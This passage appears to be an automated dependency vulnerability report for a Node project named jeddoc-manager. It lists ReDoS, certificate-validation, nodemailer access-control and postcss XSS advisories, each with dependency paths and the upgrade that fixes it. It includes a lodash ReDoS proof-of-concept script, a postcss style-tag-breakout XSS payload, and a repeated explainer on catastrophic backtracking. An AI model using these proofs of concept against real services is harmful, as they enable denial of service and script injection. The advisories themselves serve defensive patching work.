0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade is-svg to version 4.3.0 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the resourcePath variable in interpolateName.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in interpolateName function via the URL variable.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: react-tinymce@0.5.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-tinymce@0.5.1 › lodash@3.10.1Remediation: Upgrade to react-tinymce@0.6.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
POC
var lo = require('lodash');
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)
var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)
var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash to version 4.17.21 or higher.
References
medium severity
- Vulnerable module: micromatch
- Introduced through: babel-plugin-istanbul@4.1.6, nyc@11.9.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-plugin-istanbul@4.1.6 › test-exclude@4.2.3 › micromatch@2.3.11Remediation: Upgrade to babel-plugin-istanbul@5.0.1.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › test-exclude@4.2.3 › micromatch@2.3.11Remediation: Upgrade to nyc@13.0.1.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › micromatch@3.1.10Remediation: Upgrade to nyc@13.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
Overview
Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.
Remediation
Upgrade micromatch to version 4.0.8 or higher.
References
medium severity
- Vulnerable module: minimatch
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › minimatch@3.0.3Remediation: Upgrade to nightwatch@2.3.6.
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the braceExpand function in minimatch.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.0.5 or higher.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1Remediation: Upgrade to node-sass@7.0.0.
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Improper Certificate Validation. Certificate validation is disabled by default when requesting binaries, even if the user is not specifying an alternative download path.
Remediation
Upgrade node-sass to version 7.0.0 or higher.
References
medium severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@8.0.9.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Missing Authorization in the jsonTransport message, which fails to enforce file and URL access restrictions during message normalization. An attacker can access local files or trigger outbound HTTP requests by supplying crafted message content fields such as attachment path or text.href.
Remediation
Upgrade nodemailer to version 8.0.9 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@6.9.9.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the attachDataUrls parameter or when parsing attachments with an embedded file. An attacker can exploit this vulnerability by sending a specially crafted email that triggers inefficient regular expression evaluation, leading to excessive consumption of CPU resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nodemailer to version 6.9.9 or higher.
References
medium severity
- Vulnerable module: postcss
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss@5.2.18Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › icss-utils@2.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-scope@1.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-values@1.3.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
Overview
postcss is a PostCSS is a tool for transforming styles with JS plugins.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing </style> sequences that are not properly escaped when embedded within HTML <style> tags.
PoC
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
